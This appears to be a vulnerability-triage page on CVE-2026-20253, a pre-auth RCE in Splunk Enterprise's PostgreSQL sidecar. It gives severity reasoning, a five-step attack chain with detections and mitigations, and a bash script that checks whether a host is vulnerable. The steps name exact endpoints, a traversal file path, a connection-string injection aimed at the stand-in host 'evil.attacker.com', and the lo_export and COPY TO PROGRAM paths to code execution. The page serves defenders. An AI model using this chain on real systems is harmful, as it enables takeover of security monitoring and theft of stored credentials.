Like leaving the master key to your security-camera control room on a public hook outside the building
CVE-2026-20253 is a missing-authentication flaw (CWE-306) in the PostgreSQL sidecar service bundled with Splunk Enterprise 10.0.0–10.0.6 and 10.2.0–10.2.3. The sidecar's recovery endpoints — /v1/postgres/recovery/backup and /v1/postgres/recovery/restore — are proxied through Splunk Web (port 8000) at /en-US/splunkd/__raw/v1/postgres/recovery/ and accept any Basic Authorization header, including empty credentials. An unauthenticated, network-reachable attacker can hit the backup endpoint with an unsanitized backupFile parameter to create or truncate arbitrary files on the host. The chain escalates to full RCE: the attacker injects a libpq connection string into the database parameter to redirect pg_dump to an attacker-controlled PostgreSQL server, then triggers the /restore endpoint to replay a crafted dump containing a PL/pgSQL function that calls lo_export to write a malicious Python script into splunk_secure_gateway/bin/ssg_enable_modular_input.py. On the next splunkd restart, that script executes as the splunk service account. An alternative chain documented by Miggo uses COPY TO PROGRAM during restore replay — no restart required. Splunk Enterprise 9.4 and earlier, and Splunk Cloud Platform, are not affected.
Splunk rated this CVSS 9.8 CRITICAL and that rating is accurate. This is a textbook pre-auth RCE against the platform most enterprises run as their SIEM/detection plane. The attack chain is short (two HTTP requests), fully public (watchTowr Labs published the PoC on June 12, two days after disclosure), and confirmed exploited in the wild (Splunk PSIRT updated SVD-2026-0603 on June 18; CISA added it to KEV the same day with a 3-day federal deadline). The only friction worth noting is that on Windows manual installs the sidecar is installed but disabled by default — however, on AWS deployments the sidecar is enabled out of the box, and on Linux installs using Edge Processor, OpAmp, or SPL2 pipelines it will also be active. We shave 0.2 points from the vendor score to reflect the Windows-default-off scenario, but the blast radius of owning a SIEM — access to every security log, stored LDAP/AD credentials, the ability to suppress alerts and blind the SOC, and a pivot point to every system that forwards telemetry — keeps this firmly at CRITICAL.
5 steps from start to impact.
Identify Splunk Enterprise with active sidecar
/en-US/splunkd/__raw/v1/postgres/recovery/status/0 disambiguates: HTTP 400 ('Failed to decode request') means the sidecar is present and vulnerable, HTTP 401 means patched, HTTP 404 means the sidecar is not installed. No authentication is required for this probe.- Network reachability to Splunk Web (port 8000 or 8089)
- Splunk Enterprise 10.0.0–10.0.6 or 10.2.0–10.2.3
- PostgreSQL sidecar service enabled
- Sidecar is disabled by default on Windows manual installs
- Most enterprise Splunk instances are internal-only, reducing internet-facing exposure
CVE-2026-20253.yaml in ProjectDiscovery nuclei-templates; any HTTP request to the __raw/v1/postgres/recovery/ path from an untrusted source is anomalous.Arbitrary file write via backup endpoint
/en-US/splunkd/__raw/v1/postgres/recovery/backup with a backupFile parameter containing an absolute path or traversal sequence (e.g., /tmp/pwned). The sidecar passes this unsanitized to pg_dump -f, creating or truncating the target file as the splunk service account. This step alone enables denial of service by truncating critical Splunk config or index files.- Step 1 confirmed: sidecar is reachable and vulnerable
- File write is limited to paths writable by the
splunkuser (typically not root)
pg_dump executions, new files in /tmp/ or under $SPLUNK_HOME, and POST requests to the recovery endpoints in Splunk Web access logs.Connection-string injection to attacker-controlled PostgreSQL
database parameter to a libpq connection string pointing at an attacker-controlled PostgreSQL server (e.g., host=evil.attacker.com dbname=payload). The sidecar forwards the connection without validation, and the attacker's server can also redirect the sidecar to use Splunk's own stored credential file (passfile=) to authenticate to the local PostgreSQL instance. This lets the attacker control what data flows through the dump/restore cycle.- Outbound network connectivity from the Splunk host to the attacker's PostgreSQL server (or localhost access if targeting the local instance)
- Egress filtering or network segmentation may block outbound connections to arbitrary PostgreSQL servers on port 5432
- However, targeting the local PostgreSQL instance via localhost bypasses this
pg_dump/pg_restore command-line arguments for unexpected hostaddr= or passfile= parameters.Restore replay with malicious PL/pgSQL payload
/en-US/splunkd/__raw/v1/postgres/recovery/restore to replay a crafted PostgreSQL dump. The dump contains a PL/pgSQL function attached to a table CHECK constraint that calls lo_export() to write attacker-controlled content to a chosen filesystem path — specifically, overwriting splunk_secure_gateway/bin/ssg_enable_modular_input.py with a reverse shell or command payload. An alternative chain uses COPY TO PROGRAM during restore replay to execute commands directly without waiting for a restart.- Steps 2–3 completed: attacker can inject a malicious dump into the restore cycle
- The
lo_exportchain requires a splunkd restart to trigger execution; theCOPY TO PROGRAMchain does not but requires the local PostgreSQL to support it
splunk_secure_gateway/bin/; file integrity monitoring (FIM) on $SPLUNK_HOME/etc/ and $SPLUNK_HOME/lib/; unexpected files in Splunk's web-exposed static directory.Code execution as splunk service account
COPY TO PROGRAM), the attacker's payload executes as the splunk user. From here, the attacker has full access to all indexed data, stored credentials (LDAP, AD, SAML integrations), alert configurations, and can suppress or modify detection rules to maintain persistence. The attacker can write output to Splunk's web-exposed static directory for exfiltration without authentication.- Step 4 completed: malicious script is in place
- If using the
lo_exportchain, the attacker must wait for a restart or trigger one
$SPLUNK_HOME/share/splunk/search_mrsparkle/exposed/; SIEM-of-SIEM architecture would detect Splunk self-monitoring gaps.[postgres] with disabled = true to $SPLUNK_HOME/etc/system/local/server.conf and restart Splunk Enterprise. This completely eliminates the attack surface. Per the noisgate mitigation SLA for CRITICAL, deploy within 3 days. Caution: this breaks Edge Processor, OpAmp, and SPL2 data pipelines. Core search, indexing, and dashboards are unaffected. Splunk rates severity as *informational* with the sidecar disabled./splunkd/__raw/v1/postgres/recovery/ at your WAF or reverse proxy. This surgically removes the attack surface without disabling the sidecar. Deploy within 3 days per CRITICAL mitigation SLA. Test that legitimate sidecar traffic (if used by Edge Processor) routes through a different path before enabling.$SPLUNK_HOME/etc/, $SPLUNK_HOME/lib/python*/, splunk_secure_gateway/bin/, and $SPLUNK_HOME/share/splunk/search_mrsparkle/exposed/. Alert on any file creation or modification outside of a known patch window. This is a detective control — it does not prevent exploitation but enables rapid incident response. Deploy within 3 days.- Splunk RBAC / authentication tokens — The sidecar endpoint completely bypasses Splunk's own authentication layer. Being logged into Splunk or having strong RBAC policies has zero effect because the sidecar accepts any Basic Auth header including empty credentials.
- TLS/SSL on Splunk Web — Encryption in transit does not add authentication to the sidecar endpoint. The attack works identically over HTTPS.
- Upgrading to Splunk Enterprise 9.4.x — While 9.x is not affected (no sidecar), downgrading from 10.x to 9.x is not a viable mitigation path as it would lose significant functionality and is not supported by Splunk.
- Network-level IDS/IPS without specific signatures — Generic network monitoring will not flag these requests as malicious; they are standard HTTP POSTs with JSON bodies. You need Splunk-specific detection rules or the Nuclei template.
The supporting signals.
| In-the-wild exploitation | Confirmed. Splunk PSIRT updated SVD-2026-0603 on June 18, 2026 to acknowledge *limited exploitation*. CISA added CVE-2026-20253 to KEV the same day — reportedly the first Splunk CVE ever added to KEV. HelpNetSecurity and Resecurity independently confirmed active exploitation by June 19. |
|---|---|
| CISA KEV | Listed June 18, 2026. Federal remediation deadline: June 21, 2026 (3 days). BOD 22-01 applies. |
| EPSS | 0.96939 — 97th percentile. This places it in the top 3% of all scored CVEs for exploitation probability, consistent with confirmed in-the-wild activity and public PoC availability. |
| Proof-of-concept | Multiple public PoCs. watchTowr Labs published a detailed technical deep-dive and 'neutered' PoC on June 12, 2026 (2 days post-disclosure). A Nuclei detection template (CVE-2026-20253.yaml) is available in the ProjectDiscovery nuclei-templates repo. GitHub user 0xBlackash published a detection/exploit repo. SOCRadar reports 29 public PoC repositories, two marked as weaponized. SAFE Security published exploit.py and rce-chain.py lab scripts. |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — Network-reachable, low complexity, no privileges required, no user interaction. Full CIA impact. The vector accurately models the pre-auth RCE chain on deployments where the sidecar is enabled and Splunk Web is reachable. |
| Affected versions | Splunk Enterprise 10.0.0–10.0.6 and 10.2.0–10.2.3. Splunk Cloud Platform < 10.2.2510.14 and < 10.4.2604.3. Splunk Enterprise 9.4.x and earlier are not affected (no PostgreSQL sidecar). Splunk Enterprise 10.4.0 is not affected. |
| Fixed versions | Splunk Enterprise 10.0.7, 10.2.4, 10.4.0. Splunk Cloud Platform 10.2.2510.14, 10.4.2604.3. No backports to 9.x are needed (9.x was never affected). |
| Default sidecar state | AWS deployments: enabled by default (vulnerable out of the box on affected versions). Windows manual installs: installed but disabled by default. Linux installs: enabled if Edge Processor, OpAmp, or SPL2 pipelines are configured. |
| Disclosure timeline | June 10, 2026: Splunk publishes SVD-2026-0603 and releases patches. June 12: watchTowr Labs publishes PoC. June 15: Splunk confirms sidecar-disable workaround. June 18: Splunk confirms limited exploitation; CISA adds to KEV with June 21 deadline. June 19: Multiple outlets confirm active exploitation. |
| Credited researcher | Alex Hordijk (handle: *hordalex*), credited in SVD-2026-0603. watchTowr Labs performed independent follow-up research and published the first public PoC chain. |
Sources.
- Splunk Advisory SVD-2026-0603
- NVD — CVE-2026-20253
- HelpNetSecurity — Unauthenticated RCE in Splunk Enterprise under active attack
- Resecurity — CVE-2026-20253 Pre-Auth RCE Analysis
- SAFE Security — Full Attack Chain Walkthrough
- The Hacker News — Critical Splunk Enterprise Flaw
- Deepwatch — Public PoC Advisory
- Splunk Sidecar Configuration Settings
Why this verdict
- Pre-auth, low-complexity, no-interaction RCE chain: The full chain from unauthenticated network access to code execution as the Splunk service account requires only two HTTP POST requests and zero credentials. The CVSS vector AV:N/AC:L/PR:N/UI:N accurately reflects this — there is no friction in the authentication or complexity dimensions.
- Confirmed active exploitation and weaponized tooling: Splunk PSIRT, CISA, and multiple independent sources confirm in-the-wild exploitation. EPSS sits at 0.97. At least 29 public PoC repos exist, two marked weaponized. The exploit-to-patch gap was 2 days (PoC dropped June 12, patches released June 10 — meaning defenders who hadn't patched within 48 hours were exposed to public exploit code).
- Sidecar-disabled-by-default on Windows applies a minor downward adjustment (-0.2): On Windows manual installs the sidecar is installed but disabled, meaning a subset of the install base is not vulnerable in default configuration. This prevents a full 9.8 but does not materially reduce severity because AWS deployments are enabled by default and Linux installs using Edge Processor/SPL2 will also have it active.
- Role multiplier — SIEM / detection plane (CRITICAL floor): Splunk Enterprise is canonically a SIEM and occupies the detection-plane high-value role in virtually 100% of its install base. Compromising Splunk yields: (a) access to all ingested security logs across the enterprise, (b) stored credentials for LDAP, AD, SAML, and data-source integrations, (c) the ability to suppress or modify alerts — blinding the SOC, (d) a pivot point to every system forwarding telemetry, and (e) potential supply-chain impact if Splunk is used to distribute detection content or respond to alerts automatically. The blast radius is fleet-scale and identity-scale. This makes the CRITICAL floor mandatory regardless of sidecar-enablement friction on a subset of platforms.
- Role multiplier — no low-value deployment role exists: Unlike general-purpose software that might run on a dev sandbox, Splunk Enterprise is exclusively deployed as production infrastructure — there is no 'workstation' or 'sandbox' role for Splunk Enterprise. Every affected instance is a high-value target by definition.
Why not higher?
The CVSS 3.1 scale caps at 10.0, and the vendor already assigned 9.8. A 9.6 is 0.2 below vendor score and 0.4 below maximum. There is no meaningful argument for a higher score — the chain is already pre-auth, low-complexity, full-CIA-impact RCE. The 0.2 haircut for Windows-default-off is the only defensible adjustment.
Why not lower?
Downgrading below CRITICAL would require evidence that the sidecar is disabled in >99% of the installed base AND that Splunk Enterprise does not occupy a high-value detection-plane role — neither is true. AWS deployments are enabled by default, EPSS is 0.97, exploitation is confirmed in the wild, and Splunk is by definition the SIEM. Internal-only network posture does not break the CRITICAL floor because post-initial-access attackers (who are the primary threat model for KEV-listed vulns) already have internal access, and compromising the SIEM is the single highest-value lateral move in most environments.
Crowdsourced verification payload.
Run this on your auditor workstation (not on the Splunk host). It probes the sidecar recovery endpoint from the network to check if the instance is vulnerable. Requires curl. Usage: bash check_cve_2026_20253.sh https://splunk.example.com:8000 — no special privileges needed, just network access to Splunk Web.
#!/usr/bin/env bash
# check_cve_2026_20253.sh — noisgate verifier for CVE-2026-20253
# Probes the PostgreSQL sidecar recovery endpoint on Splunk Enterprise.
# Returns: VULNERABLE / PATCHED / NOT_INSTALLED / UNKNOWN
# Usage: bash check_cve_2026_20253.sh <SPLUNK_WEB_URL>
# e.g. bash check_cve_2026_20253.sh https://splunk.corp.local:8000
set -euo pipefail
if [ $# -lt 1 ]; then
echo "Usage: $0 <SPLUNK_WEB_URL>"
echo " e.g. $0 https://splunk.example.com:8000"
exit 3
fi
BASE_URL="${1%/}"
PROBE_PATH="/en-US/splunkd/__raw/v1/postgres/recovery/status/0"
FULL_URL="${BASE_URL}${PROBE_PATH}"
echo "[*] noisgate CVE-2026-20253 verifier"
echo "[*] Target: ${FULL_URL}"
echo ""
# Send probe — follow redirects, ignore cert errors (self-signed common on Splunk)
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-k \
-m 10 \
-H "Authorization: Basic Og==" \
"${FULL_URL}" 2>/dev/null || echo "000")
echo "[*] HTTP response code: ${HTTP_CODE}"
echo ""
case "${HTTP_CODE}" in
400)
echo "VULNERABLE"
echo "[!] Sidecar is present and lacks authentication."
echo "[!] HTTP 400 ('Failed to decode request') confirms unpatched sidecar."
echo "[!] ACTION REQUIRED: Patch to 10.0.7 / 10.2.4 / 10.4.0 or disable sidecar."
exit 1
;;
401)
echo "PATCHED"
echo "[+] Sidecar responds with HTTP 401 — authentication is enforced."
echo "[+] This instance appears to be running a patched version."
exit 0
;;
404)
echo "NOT_INSTALLED"
echo "[+] Sidecar endpoint returned HTTP 404 — sidecar is not installed or enabled."
echo "[+] This instance is not vulnerable to CVE-2026-20253."
exit 0
;;
000)
echo "UNKNOWN"
echo "[?] Connection failed — target may be unreachable, firewalled, or not Splunk."
exit 2
;;
*)
echo "UNKNOWN"
echo "[?] Unexpected HTTP ${HTTP_CODE}. Manual investigation required."
echo "[?] Check if a WAF or proxy is intercepting the request."
exit 2
;;
esac